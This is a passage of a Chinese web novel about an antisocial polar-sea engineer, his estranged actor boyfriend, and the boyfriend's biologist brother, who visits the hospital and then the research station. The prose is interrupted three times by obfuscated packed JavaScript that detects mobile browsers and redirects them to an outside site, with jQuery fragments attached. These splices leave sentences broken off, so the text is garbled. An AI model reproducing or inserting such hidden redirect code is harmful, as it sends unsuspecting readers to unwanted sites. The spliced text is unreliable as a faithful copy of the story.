切都糟透了,从他早上睁开眼的那一刻,他就感受到了这种糟糕,二十六年来,他第一次这么痛恨起床。 褚月恒总感觉,这是冥冥之中的安排,在他最需要安抚的时候,冰海为他敞开了大门。可不知为什么,曾经能让他心绪澎湃的冰海,如今却显得有些乏味。他还是忍不住一遍遍去想戚清棠离开时的表情。 为了潜入冰海,他付出了无数个日日夜夜,也无视了戚清棠无数次。他沉浸在对冰海虚妄的幻想里,幻想自己是冰海神女的孩子,幻想冰海中有他真正的归属,可这些都只是毫无根据的幻想罢了。 就像上古人类将苦难的生活寄托于对神灵的信仰一样,令人怜悯、令人发笑。 从十五岁到二十八岁,除了和戚清棠纠缠的那个六个月,剩余一百六十二个月他做的每一件事,都是为了今天。 现在他抵达了目的地,他可以自由的去冰海中任何一个地方,然后呢? 033化作一阵轻柔的风绕着褚月恒转了一圈:“小心些,别离开冰川太远了。” 褚月恒骤然从绝望地思绪中抽离,恍然意识到033的存在本就证明了神明的存在,或是证明了他是个神经病,不管真相是哪种,033的陪伴缓和了褚月恒极端的情绪。 “嗯。”褚月恒不太自在的应了一声。 “看前面。”033飘到褚月恒耳边。 褚月恒听话的抬起头,看见一只大鳍后肛鱼从水器前优哉游哉的游了过去,这条鱼透明的大脑门儿里充满了液体,他记得他曾看过一篇论文,说这种鱼的脑浆对治疗老年痴呆症有奇效,那篇论文的作者叫公山易禾。 褚月恒立刻操纵着潜水器自带的渔网去捕捞这条珍贵的大鳍后肛鱼,奈何他从小就被族人排斥,从未学过捕鱼技巧,努力了半天,也没能把鱼逮住。 “向左!向右!扑它!”033在褚月恒耳边激情指挥。 终于,在褚月恒操纵着潜水器一个飞扑后,大鳍后肛鱼被收入囊中。 033松了口气,它努力向海底释放大鳍后肛鱼的求偶电磁波总算是没白费力。 5. 岳阳湖区 褚月恒认真的观察刚被他抓住的大鳍后肛鱼,他似乎看到了它思考时大脑运转的轨迹,这可真神奇。 褚月恒眨巴着黑曜石般的眼睛,凑近鱼缸,认真观看,像个纯真的孩子,终于能暂时把戚清棠离开这件事放下了。 可是这短暂的好奇心很快就消散了,就像微不足道的灰尘。 褚月恒抬起头看向前方黑暗翻涌的海水,耳边是机器轻微的轰鸣声。为了不影响他享受深海,他曾耗费几百个日夜的心血为潜水器降噪,谁知这噪声会成为他在水下用来解闷的乐子。 也许是为了填满无聊、不知所措的时间,褚月恒又想起戚清棠了。 密密麻麻的刺痛感又弥漫上心脏,在焦躁、愧疚、恐惧、愤怒之中,褚月恒闻到了他特意放在潜水器中的花朵的香气,戚清棠说漂亮的花可以点亮一天的心情。 褚月恒无措的盯着鱼缸里那只拥有透明大脑的鱼,企图从它的大脑运转轨迹中找到一切的答案,看了一会儿后,褚月恒放弃了,也许他该去喝点中药的。 褚月恒驾驶着潜水器缓缓上升,一边上升一边盘算着该去看哪位中医。然后后知后觉的想起,他看中医的习惯还是戚清棠强迫他养成的,戚清棠总喜欢在家里熬苦涩的养生粥,然后逼迫他喝。可戚清棠自己却不记得要按时吃药,总会突然就病倒了,以至于很长一段时间里,褚月恒总梦到戚清棠突然死掉的画面。 魂不守舍的把潜水器安置好,褚月恒抱着珍贵的大鳍后肛鱼坐上研究所的运输车,等他回过神来时,发现自己已经出现在定北城的研究所总部了。 领导正微笑着夸奖他,说他不光比预期更早的完成了潜水器的研究,还在第一次下潜时就有了这么大的发现,值得年终奖翻倍的奖励。 “咱们研究所哪儿都好,就是所处的地域太偏,争取经费和人才时,也因为地域原因比不上其他同等级的研究所,你这个发现来的刚刚好,这是咱们和泊岳领导搭上关系的好机会……” 领导热情洋溢的声音令褚月恒感到不适,他想逃走,可理智把他牢牢的钉在会议室的椅子上,度日如年。 这种不适在遇到戚清棠后时有发生,曾经在他的人生里,除了他自己,其他人的模样都被抽象成阻碍或帮助他完成目标的符号,遇到戚清棠后,其他人类的人格面目也在他大脑中逐渐具象化,而他就像是第一次踏出安全屋的孩子,无所适从、想要逃离。 这导致他在过去的六个月,工作效率成倍下降。从高中起就在社会上兼职总结出来的与人沟通的公式,也总不能顺利的解算、执行。 研究所的领导因此找褚月恒私底下谈过很多次,问他为什么突然变得那么封闭,是不是和同事产生了什么矛盾。 褚月恒无法给出一个确切的答案,束手无策的领导只能尽量减少他和其他同事的沟通。 “所以!”领导做出一个总结,褚月恒回过神来,勉强集中精力应付领导。 “我已经叫人去联系岳阳湖区的大人物了,你安心等待,这个项目要是能争取到,一定交给你做。” “嗯,谢谢。”褚月恒打起精神,露出一个不冷不热的微笑。 领导早习惯了褚月恒的惜字如金,没发觉褚月恒有什么不对,依旧亲昵的拍了拍褚月恒的肩膀,苦口婆心的说:“岳阳湖区是世界科研中心,也是咱们国家智商最高的一群人聚集的地方。虽然咱们研究所也不差,但那里毕竟是首都,各行各业的尖端人才都聚集在那儿,你去了那里可要主动社交。” “去哪儿?”褚月恒迷茫的问。 033叹了口气,为褚月恒的精神状态感到焦躁。 一天前褚月恒还是标准的人们口中的“精英”,意志坚定、头脑清醒、精力充沛,而现在,他连专心听别人讲话都做不到。 领导对褚月恒的印象还停留在上次见面,那会儿的褚月恒虽然难以沟通,但聪明、敏锐、有干劲儿,所以他不认为褚月恒会在听他布置工作的时候走神,只以为褚月恒不想离开极地冰海,这他可以理解,褚月恒对钻研冰海的狂热他们都知道,可正因如此他才决定派褚月恒去岳阳湖区学习。 首先,褚月恒对冰海绝对忠诚,不会去泊岳寻个更好的机会跳槽。 其次,褚月恒的智商远超常人,去了岳阳湖区那精英云集的地方也不会被小看,能给他们研究所长脸。 最后嘛,褚月恒这人的情商真的很令人头痛,尤其最近几个月,他几乎拒绝与所有人类沟通,他们研究所的人或多或少都有点怕和褚月恒合作。听说岳阳湖区那边天才多、奇葩也多,所以在制度上和人文上都对褚月恒这种古怪的人比较宽容,把褚月恒派过去对谁都好。 “月恒你不用担心,去岳阳湖区虽然是为了配合他们线粒体基因工程方面的工作,但你负责的还是研究冰海的工作。你的工作主要是帮他们研究冰海深处生物的线粒体,你在帮他们研究的同时,不也顺便探索了冰海吗?还用的是他们的经费而不是咱们的,这不是双赢?” 褚月恒反应了一会儿才问:“在岳阳湖区怎么研究冰海?不应该是他们派人过来吗?” “对对,他们肯定也要过来,但那是下一阶段的问题。首先,你得先过去和他们做预研,明白吗?” 褚月恒点点头表示明白了。 “好,那你先回去吧,后续有通知我再跟你说。”领导松了口气,每次和褚月恒沟通他都有种捏了一把汗的感觉,不过一想到岳阳湖区那些行政领导要面对的奇葩比他多得多,他又诡异的感觉平衡了。 ——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271785|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哥,你怎么过来了?”戚清棠捂着隐隐作痛的额头,面色苍白,满脸冷汗。 公山易禾坐在病床旁的沙发上,满脸心疼的等戚清棠从疼痛中缓过来,才说:“爷爷奶奶和父亲也过来了,爷爷奶奶被吓坏了。” 还没等戚清棠说话,公山易禾又补充道:“好在你醒过来了,我们都松了口气。” “你能醒来就好,其他问题都不是大问题。”公山易禾露出一个微笑,凤眸因为笑容微微眯起,纤长的睫毛在眼角落下阴影,俊美中带着几分出尘的魅气。 一下把戚清棠道歉的话堵在了嘴里。 护工给戚清棠倒了杯水,公山易禾示意戚清棠把水喝完。戚清棠喝水这会儿,公山易禾在旁边默默观察着戚清棠:“你身上的淤青是怎么弄的?” 戚清棠仿佛是第一次看到自己的伤一般把自己检查了一遍,才磕磕绊绊的说:“摔跤磕的。” 其实是试图维修热水器的时候磕到了,极地寒冷,他爬到屋顶上的时候在冰层上滑了一跤。 公山易禾试探着问:“那个叫褚月恒的人欺负你了吗?” 听见这个名字,戚清棠的心漏跳一拍,痛苦密密麻麻的涌上来,伴随着怨怼和思念,又爱又恨,但还是恨多些:“没有,他从没有要求我什么,路是我自己选的。” 公山易禾眼中闪过一丝压迫感极强的怒火,不过那愤怒一闪即逝,很快就被对弟弟的温柔和宠溺取代,“医生说你身体里有很多寒气,肺部有小部分白肺,你的病历上显示你已经严重肺炎过两次了,每次的原因都是被冻的,怎么这么不爱护自己的身体呢?” 戚清棠低下头,神情疲倦。 那两次肺炎,第一次是被褚月恒赶出小木屋后,他彻夜坐在木屋门口冻的。 第二次是他做好一桌晚饭却没等到褚月恒回家,他担心褚月恒走夜路遇到了危险,都没顾上多穿一件衣服,就跌跌撞撞跑出去找人了。 他一路找到褚月恒实验室门口,眼见着实验室的灯开着,褚月恒却不给他看门。他敲了一晚上门,第二天天光大亮时,他神志不清的睁开眼,看见褚月恒正居高临下的看着他,像是在打量什么稀奇的玩意儿,那眼神很伤人,可他还是可悲的感觉,极地苍白的阳光让褚月恒看上去更迷人了。 现在回想起来,那时候的自己姿态真的难看极了,怪不得褚月恒瞧不起他。 戚清棠坐在病床上无声的掉眼泪,看上去委屈极了。 “已经没事儿了,等你恢复几天,我就带你回首都。”公山易禾握住戚清棠的手,“别为不值得的人难过。” 戚清棠没有答话,依旧在不停地哭。 公山易禾也跟着一起难受,不知道该怎么帮助弟弟,心中对褚月恒的愤怒越烧越旺。 6. 初遇 “他只是不喜欢我罢了。”戚清棠上期不接下气的把褚月恒两次将他拒之门外的事情讲给公山易禾听。 还有一些其他的事情,比如褚月恒的堂兄找他要钱他都给了,比如褚月恒不光对他苛刻,对自己其他那些贫穷的亲戚朋友也很冷漠,他劝褚月恒要孝敬长辈,褚月恒从来当作没听见。 在戚清棠的描述里,一个心思深沉、捧高踩低、自私自利的凤凰男形象活灵活现。 公山易禾沉默的听着,难以想象在家里被千娇万宠的弟弟会去受这份委屈,等戚清棠上气不接下气的说完后,他才问:“你为什么喜欢他?” 戚清棠委屈的低下头:“我以为只要我不停的付出,他就会改变的,到底是我自作多情了。” 这话好熟悉,公山易禾记得他们的母亲在发现父亲出轨后说过:没有人能为别人改变,区别只在于能装多久。 公山易禾用自己匮乏的心理学知识揣测着,难道是父母离婚给戚清棠造成了童年阴影,所以他才会这样自讨苦吃? 不过不管原因是什么,现在最重要的是安抚戚清棠。 “探索真理、挑战极限、收获真心,人一辈子能干成其中一件事都算是了不起,成功了固然了不起,失败也属实正常,你敢于尝试已经很勇敢了。”公山易禾轻轻叹了口气,挤出一个鼓励的笑容,“你这个年纪,正是敢于试错的年纪,这没什么。” 戚清棠自嘲一笑:“人家瞧不起我,我还硬凑上去,这算是勇敢吗?” 公山易禾认真的看着戚清棠:“这当然算勇敢,追逐自己喜欢的东西就是勇敢。好了,这穷山恶水的地方只是你人生中一个微不足道的插曲,你将来一定会成为国际巨星的。接下来有拍戏的打算么?如果你想,我给你安排。” 戚清棠还没想过这些,这次跑来极地拍戏只为了和父母赌气罢了,把自己赌成这个样子,母亲也没来看他一眼,父亲倒是来了,却没说一句好话。 “算了,先把身体养好再说吧。”公山易禾轻柔的摸了摸戚清棠的头,“休息也要专心,我叫营养师给你做饭。” 戚清棠点点头,却没有一点胃口。 他回想起自己初见褚月恒的画面,那种心悸的感觉至今记忆犹新,可现在回忆起来,只会令他更加心痛,“我拍戏的地方,距离他们做实验的地方很近,我总喜欢偷看他。那天他拿着一堆设备站在冰川上,穿一身深蓝色冲锋衣,打扮的平平无奇的。” 戚清棠下意识抿了抿嘴,没再说下去。 褚月恒从来都是打扮的平平无奇,可他清晰的记得那天傍晚,天光把冰川染成冰蓝色,他被雪地刺激了一天的眼睛火辣辣的疼,模糊的视线捕捉到远处正在做实验的褚月恒,他就像冰山里钻出来的精怪,苍白的皮肤和墨一般黑的头发让他整个人就像极地古老的冰层一般,有种奇特的气质。 褚月恒不知怎么也正好转过头来,他们对视了,戚清棠看见一双病态消极又及其不好惹的眼睛,叫人一看就知道这人已经在精神上和人类社会隔离了,可戚清棠感觉自己就像被老鹰锁定的大象,恐惧着接下来会发生什么,又莫名笃信自己会安然无恙。 顶级猎食者总是贪婪的,更何况老鹰的视力并没有那么好,它们会锁定自己无法掌控的猎物,然后不顾一切的从千米高的天空俯冲,直到粉身碎骨。 入住褚月恒的小木屋后,戚清棠产生了一种莫大的满足感,常年在高空漂泊的老鹰又如何?还不是为了他选择了降落。褚月恒这样不食人间烟火的高岭之花已经学会了乖乖呆在他身边,穿着他给买的卡通睡衣,静静地听他讲话。 不过这满足感很快就变成了委屈,委屈褚月恒不愿意给他更多,不愿意认真的听他说话,不愿意花更多时间陪伴他。他付出了那么多,褚月恒却视而不见。 这时,公山易禾的电话响了,是他的助理打过来的:“稍等,我去接个电话。” 电话一通,公山易禾就听到一个熟悉的名字。 “公山教授,咱们的研究要有进展了,极地冰海研究所有个工程师叫褚月恒,他带头研究出一款可以在冰海深处长时间潜行的潜水器,并且在海底发现了大鳍后肛鱼。他们研究所的领导说,他们的潜水器可以靠近极地冰海的海底热泉,您不是说海底热泉里藏着解开线粒体密码的钥匙吗?现在寻找钥匙的工具到了!” 公山易禾愣了一下,随后快步走到病房外面,关上了门:“哪个褚月恒?” “啊?什么哪个?”助理被问的一头雾水,“哦,就……极地冰海研究所那个,今年二十八岁,还挺年轻的。您还认识哪个褚月恒?” 公山易禾心绪复杂,研究有进展的喜悦伴随着对褚月恒这个人的复杂情感,翻涌在一起。 但是个人感情和工作是两回事。 这些年,公山易禾合作过不少天才科学家,其中私德有亏的也不少。公山易禾一向是在私生活上和他们保持距离,但工作上该合作还是要合作。 这次和极地冰海研究所的合作项目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271786|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公山易禾也不会拒绝。 “我正好在定北城,我亲自去和冰海研究所谈。”公山易禾挂断电话,又翻出助理发过来的褚月恒的生平简介。 那张简简单单的证件照依旧静静躺在文件的右上角,公山易禾的目光不禁又定格在那双清清泠泠的黑眸上,几乎可以想象到褚月恒是如何盯着镜头照相的,这个人拥有一双冷漠的眼睛,冷漠到有些空洞,能对戚清棠做出那些事也不奇怪。 可公山易禾却忍不住对着那双眼睛看了又看,他总感觉在那空洞之下潜藏着什么。上次让他有这种感觉的是泊岳博物馆中的无头石人,讲解员说:石人无头,手握长剑,千百年守候着泊岳河,这样平平无奇的一句话,却让一向情绪稳定的公山易禾红了眼眶,他被那份令人震撼坚定深深触动了。 公山易禾盯着那张照片看了很久,随后又忍不住嘲笑自己想的太多,不过是个聪明过人但自私自利的天才罢了,这种人岳阳湖区里一抓一大把。 “你好。”很好听但语气死气沉沉的声音在公山易禾头顶响起,“请问501病房怎么走?” 501?那不是清棠的病房吗? 坐在走廊椅子上的公山易禾抬起头,站在椅子对面的褚月恒居高临下的低下头,俩人同时愣住。 褚月恒那满是杂音,已经几乎废掉的大脑,在混沌中隐隐约约找回一丝微弱的理智,微弱的理智小声说:这是大名鼎鼎的公山易禾,岳阳湖区的大人物,你未来的老板。 公山易禾比褚月恒更震惊,刚还躺在小小一张二维纸片上的家伙就这么活生生的出现在了他面前,居高临下的挡住了医院白炽灯的光线,那双漆黑的眼睛漠然的盯着他看,问着他弟弟的病房在哪儿。 真人比照片上看上去更震撼。 很高大,睫毛浓黑,上下睫毛都很长,嘴唇是樱花粉色,脖子上的血管在惨白的灯光照耀下像是蓝紫色的,有些妖异。 这些对公山易禾来讲并不重要,只要他愿意,世界上最顶级的美人任他挑选。美色他看过太多了,他自己的相貌也是万里挑一…… 重要的是那双漆黑的眼睛,它们比照片上的更透亮些,像上好的黑色宝石。 公山易禾整理了一下情绪,站起来朝褚月恒伸出手:“你好,我是公山易禾,你叫褚月恒对吧?” 褚月恒迷茫的伸出手,和公山易禾握了握手,他看见公山易禾西装上的钻石袖扣,那是戚清棠最喜欢的珠宝品牌私人订制的,戚清棠也有一款一模一样的。 7. 北宁神话 公山易禾松开手后,平静的说:“你得到即将和我合作的通知了吧。” 褚月恒感觉到一丝不对劲儿:“是的,但现在是私人时间,我急着去探病。” “直走,然后右转,第二间房就是501。”公山易禾退后一步,做出‘请’的手势,褚月恒还第一次见一举一动这么讲究的人,像是戚清棠看的老电影里的人物从屏幕中走出来了。 “谢谢您。”褚月恒走了两步,发现公山易禾就跟在他身后。 褚月恒狐疑的回头看了公山易禾一眼,公山易禾回以一个坦荡的微笑,明亮清浅的凤眸微微弯下,眼尾勾起媚气的弧度。 褚月恒猜测他们大概顺路:“您是来探病的?” “有朋友爬冰山时摔骨折了。”公山易禾撒谎不眨眼,“就在502。” 说话间,501到了,褚月恒公式化的念出社交辞令:“那真是遗憾,希望他快些康复。” 然后干脆利落的推开501的大门,没有要敲门的意思。 戚清棠正在有一搭没一搭的吃饭,看到褚月恒后吓了一跳:“你怎么来了!” “我们共享了位置。”褚月恒实事求是的讲,戚清棠在三个月前下载了一个情侣软件,可以共享彼此的位置,并以沟通起来更方便的理由劝褚月恒和他开通了情侣账号。 “我一时没顾上关账号,不过你也得自觉些吧,现在用这个账号你觉得合适吗?”戚清棠放下勺子,冷着脸说。 “我需要找到你,我担心你。”褚月恒自己拿了把椅子坐下,认真的看着戚清棠,念出在来的路上构思过许久的台词,“今天,我的潜水器研制成功了,我第一次能够潜入冰海。” 戚清棠惨笑了一下:“那恭喜你。” 褚月恒冰质的黑眸认真的观察着戚清棠的神色:“昨晚没认真听你说话,是因为我在思考这件事。” 戚清棠无奈的叹了口气:“我知道什么对你来说是最重要的,抱歉在那时候胡闹让你分神了,我该早些和你分手的。” 褚月恒等了两秒,根据戚清棠的微表情分析出火候差不多了,才念出自己琢磨了许久的台词:“我发现,冰海深处什么都没有。” 戚清棠皱起眉头,看向褚月恒,他的表情是排斥的、冷漠的,眼中却闪过微弱的希冀:“你什么意思?” “我需要的已经在我身边了,可我没有看见。”褚月恒微微垂眸,用戚清棠对喜欢的角度面对戚清棠,精心设计了戚清棠会爱听的台词,并用戚清棠最喜欢的语气说出来,“在深海,我一直在想你离开时的表情,对不起,让你那么难过,那不是我的本意。” 戚清棠冷漠的神情一寸寸裂开,悲伤和委屈化作眼泪在他眼里要掉不掉,但他还是倔强的扭过头不去看褚月恒。 褚月恒知道这是快要成功了的意思,他只需要再为自己加上一点筹码,就可以达到目的:“我的成长环境教会我只有自私才能得到自己想要的,如今这个认知在感情上让我栽了大跟头。” 褚月恒蛊惑般微微靠近,柔声说:“你教会了我,如果学不会珍惜,就会受到惩罚。别离开我,我会做得更好,让我照顾你吧。” 戚清棠的眼泪彻底决堤:“你要是……早点意识到就好了。” “对不起,你给我温柔体贴,我太笨了,学不会回应。”褚月恒拿出早就备好的纸巾给戚清棠擦眼泪,“可你也要理解我,这些年我只能靠自己,不自私,我将一无所有。” 戚清棠泪眼朦胧的看向褚月恒,像只受惊的小鹿:“可那是不对。” “我知道。”褚月恒模仿着戚清棠最喜欢的电影角色,把戚清棠的手放在自己心脏处,“所以你要教我。” 戚清棠动摇了。 褚月恒停顿了两秒,专注的观察戚清棠的微表情,等他感觉火候差不多了,才用笃定的口气说:“你只能选择答应我,你知道的,我不会放手。” 如果戚清棠还有理智,就会发现,褚月恒的这句话和说这句话的表情,和他喜欢的某部电影的男主角特别像,好在他现在大脑不在线,并没有发现。 他被褚月恒偏执占有欲勾的心神荡漾,张嘴就要答应褚月恒。 这时,戚清棠的奶奶敲了敲门:“棠棠!你哥说你可能会头疼,奶奶来给你按摩。” 戚清棠大惊失色,用口型叫褚月恒赶紧躲起来。 褚月恒刚快要把戚清棠骗到手,自然不敢忤逆戚清棠,戚清棠把他往床底下推,他也就乖乖的钻了进去。 在门外偷听许久的公山易禾笑眯眯的带着戚奶奶走进来:“奶奶担心你睡不好,来给你按摩了,你小时候不是最喜欢奶奶给你按头了吗?” 戚清棠勉强笑了笑:“那是小时候,现在这种事交给保姆就好。” “奶奶喜欢亲自照顾你。”戚奶奶坐到床上就要给戚清棠按摩。 戚清棠无法推拒,只能顺从的闭上眼:“您别累着,稍微按一会儿就行,我头不疼。” 公山易禾在褚月恒刚才坐过的椅子上坐下,若有所思的看向床底。 褚月恒藏得并不严实,公山易禾把椅子往后拖了几步,就能看到褚月恒的手,上面带着和戚清棠情侣款的戒指,瑰丽的紫色宝石将他苍白的皮肤衬得有些阴森。 戚清棠手上则是同款的红色戒指,公山易禾觉得挺有意思,大红大紫,很吉利。 褚月恒躲在床下面,默默地盯着床板看,如果他侧过头大概会看到公山易禾那双熟悉的皮鞋,可惜他现在精神涣散,不说话的时候几乎都在宕机状态,切断了接收外界讯息的渠道,十分迟钝。 公山易禾盯着褚月恒的手看了半天,发现这家伙跟睡着了一样,一动不动。 公山易禾叹了口气,走出病房,给极地冰海研究所的领导打电话:“您好,我认为我需要亲自乘坐你们的潜水器感受一下……对,我已经在定北城了,安排那位褚先生陪我去吧。” 于是褚月恒十分不情愿的坐上了前往科考站的车,他距离成功那么近,却被一件接着一件事情打断,这让他产生了辞职的想法。 公山易禾气定神闲的坐在他旁边:“抱歉,泊岳那边传来消息,需要立刻传过去一组采集的数据,只能麻烦你休息日加班了。” “嗯。”褚月恒简单应了一声,丝毫没有要接未来上司的话茬的觉悟。 以前褚月恒回科考站都是自己开车回去,这次为了伺候公山易禾,研究所给派了一辆颇为气派的车,配了司机,于是他俩就尴尬的坐在后排的小吧台里,面对面相顾无言。 褚月恒在这狭小的空间里简直度日如年,他还不得不压抑自己如同火山喷发般汹涌的情绪,佯装无事的和未来老板坐在一辆车上回到实验室。 一种陌生又熟悉的无助感挥之不去,是他与戚清棠在一起后,产生的对陌生人的恐惧感。褚月恒下意识看向窗外若隐若现的天际线,冰海和天空在那里相接,如果真的无路可走,那恐怕,他只能逃到那里了。 可如今,他已经不相信那里是他的归属了,逃回冰海的信念不再令他感到安慰,他从未如此深刻的意识到自己的失败。 “会没事儿的。”033不得不出声安慰如同惊弓之鸟一般的褚月恒,虽然它知道自己不安慰,褚月恒也能撑下去。 毕竟在从前那条时间线上,他面对的可不是平静的公山易禾,而是充满敌意、攻击性的公山易禾,就算如此,他也坚持了很多年。 原来的时间线里,没有033的安抚,褚月恒没有现在这么冷静,在定北医院没能哄住戚清棠,反倒让戚清棠拖着病体跑回了泊岳。 褚月恒立刻辞职追到了泊岳,见到褚月恒,戚清棠情绪激动,逃跑时不小心摔进了花园泳池里,闻讯赶来的公山易禾在用权势和手段整治褚月恒时一点都没手软。 知道归知道,可它来就是为了让褚月恒重拾对探索冰海的热情的,自然不能放任褚月恒沉浸在负面情绪里。 极地的景色很美,越是靠近冰海,就越震撼人心,壮丽浩大的冰川令人心生敬畏。 “你去过泊岳吗?”公山易禾想试探一下褚月恒,看看他知不知道戚清棠是公山家的孩子。 “没有。” 还是这么简短的回答,公山易禾抬起头,发现褚月恒正专心的看他背后的窗户,注意力并不在他这个领导身上。 这景色虽美,但褚月恒都看了二十来年了,还没看腻? “想去泊岳吗?”公山易禾深吸了一口气,继续试探。 “嗯。”褚月恒终于把目光挪到了公山易禾身上,他的眼神给人一种专注的错觉。 “给我介绍一下极地吧,你是北宁人,这是你的家乡,你一定很了解。” “这里叫北宁区,有三个科考站,我们要去的是离冰海最近的那个。北宁村在冰山禁区里,没有许可证的人不允许进入,北宁族人世代居住在其中。北宁村附近有个村子叫神女村,是专门接待游客用的,设计的和北宁村很像,工作人员都是北宁族人,您要是感兴趣可以去玩。” 例行公事般做完介绍,褚月恒再次闭上嘴。 “你是在禁区里长大的?” 褚月恒看向公山易禾,有些烦躁,但没表现出来:“当然。” “里面真的有神女庙吗?” 提到极地冰海神女,褚月恒稍微恢复了几分耐心:“神女庙在最高的冰山之巅,那座冰山叫思明冰川。” “你相信神女吗?”公山易禾的目光透露出几分攻击性,可褚月恒并没有精力去注意。 “相信。” “我在泊岳图书馆看过极地冰海神女的神话记载,神女爱世人,教导人类相爱,绝不将同族抛弃到充满风雪的寒夜,只有要一簇火把,就要全族共享。” “是这样么?”这个话题吸引了褚月恒的注意力。 “你没看过?”公山易禾怀疑褚月恒在装傻。 “那里面还写什么了?”褚月恒反问回去,然后才意识到自己得先取得公山易禾的信任才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关于这个想法,他有很多学术性的疑惑,想要请教资深的生物学家。 但问这些还有什么意义呢? 褚月恒发现自己到了今时今刻才想明白,这些问题都是没意义的,改变不了任何事情,如果他一定想知道这些问题的答案,那只要耐心等待就够了,等上亿万年,自然也就经历了。 甚至,经历或是不经历,意义也不大的。 也许真正有意义的事情就是他曾经不屑的那些,是戚清棠的关心和拥抱,那才是他每天都能享受到的东西。 在褚月恒反思自己的人生选择的时候,公山易禾搜索深海潜水器相关的论文看了几篇,很快就找到了褚月恒写的。原来他大学时就开始研究深海潜水器了,这是个对自己的研究方向非常坚定的人。符合北宁族人猎人的天性,目的性很强。 车终于停在了科考站门口,天色黑了,在研究所负责远程观测冰海情况的人都下班了,所以他们计划明早再去试驾潜水器,今晚先在科考站附近的小别墅住一晚。 公山易禾心情复杂的踏入自己弟弟曾经生活的地方,看到华丽的地毯、精美的艺术品、漂亮的宝石和生活气息丰厚的厨房,这里的每一处细节都彰显着戚清棠对褚月恒的爱意,却从未被好好珍惜。 “你把这里布置的很漂亮。”公山易禾观察着褚月恒的反应。 褚月恒打开地暖:“我去给你收拾房间。” 他很快上了二楼,没给公山易禾琢磨他表情的机会。 公山易禾跟上二楼:“我自己来就可以。” 褚月恒给公山易禾安排的是最豪华的那间,由于这间房子太大,烧地暖太耗费资源,平时他都不用的。 他们在冰海边,还是不要制造太多污染比较好。不过现在,一切都无所谓了。 “我住旁边这间小屋就行,这间太大,太浪费了。”公山易禾自己麻利的开始收拾小屋,并且回头对褚月恒说,“你别管了,去休息吧。” 褚月恒看了眼时间,发现已经晚上八点了,突然想起来人类还需要吃晚饭,于是他打起精神交代了一句:“雪地车停在后院,往东开两公里就有补给站,那里有超市。” 顿了一下,褚月恒又补充了一句:“往西开十五公里是神女村,里面有饭店,但需要购买门票才能进。” “不用那么麻烦,咱们做点吃就行。”公山易禾想起来自己弟弟以前天天给褚月恒做一日三餐的事儿来,忍不住讽刺一句,“你不会做饭?那怎么厨房里都是未处理的食材?” 褚月恒以为公山易禾懒得出去吃,想吃他做好的饭,于是他平静的回答:“我会,你想吃什么?” 公山易禾到底是褚月恒尊敬的生物学家,褚月恒还是会问一句对方想吃什么的。如果换别人,褚月恒就直接去做干巴面包抹黄油了。 他自己天天吃这个,也只会做这个,其他菜他是见戚清棠做过,凭借空间记忆力清晰的记得做菜流程,但从未上手尝试过。 8. 神女的来历 “你会做什么?”公山易禾反问。 “泊岳菜,或者北宁菜。”褚月恒面无表情的回答。 公山易禾意味不明的笑了一下:“那我点菜了,蒜蓉虾、剁椒鱼头、无骨鸡爪、山珍鸡汤。” 这几种都是戚清棠爱吃的菜,他经常做,褚月恒都见过,于是他点点头:“等我一个小时。” 公山易禾愣了一下。 褚月恒对他这个上司的态度冷冰冰的,一点巴结的意思都没有,甚至有点爱答不理的,明显是对他无所求,却还这么爽快的答应给他做这么多道麻烦的菜,这让他有点捉摸不透褚月恒到底是什么意思。 不过让同事费心思给他做饭不符合他的办事风格,极地条件有限,没有厨师,那他自己凑合吃点就行。 “哎,不用了,这么晚了,咱们简单做两道就行,你打下手,我来。”公山易禾快走两步,和褚月恒并肩走进厨房,简单看了眼冰箱里有什么,然后说,“咱们煮面条吧,比较方便,你切菜,我炒。” 褚月恒对公山易禾的善变感到无语,他对偶像的耐心终于告罄,他快速把菜切好往案板上一放:“我的任务完成了,明天见。” 还没等公山易禾说话,他就快速上了二楼,关上了房门。 “哎!你不吃晚饭?”公山易禾拿着锅铲追出去两步,又停了下来,以他和褚月恒现在的关系,他紧张兮兮的上去逼褚月恒吃晚饭也太奇怪了。 但是他为什么不吃晚饭? 公山易禾一边煮面一边忍不住去想这个问题:明明看上去状态不太好,为什么还不吃饭?他这个状态,明天能下海吗? 最终,公山易禾投降般叹了口气,就算是为了他自己的生命安全着想,也得让褚月恒今晚吃好喝好休息好,明天褚月恒可是他的潜水器驾驶员。 他端着色香味俱全的西红柿鸡蛋面走上二楼,敲了敲褚月恒的房门,然后突然想起来自己弟弟说过的事,褚月恒这家伙是能让人敲一夜房门都不开门的人! 果然,他敲了十分钟都没人搭理他。 “褚月恒,再不开门我就自己开了。” 又敲了三下,还是没人理:“那我就当你是默认了。” 正在飘窗上陷入宕机的褚月恒震惊的看向房门,他看到门把手被拧下来,然后门被顺理成章的推开,外面的光线照进黑暗的屋子,公山易禾理直气壮的端着面走进来,打开灯,把面往褚月恒飘窗上的小桌上一放:“吃饭了。” 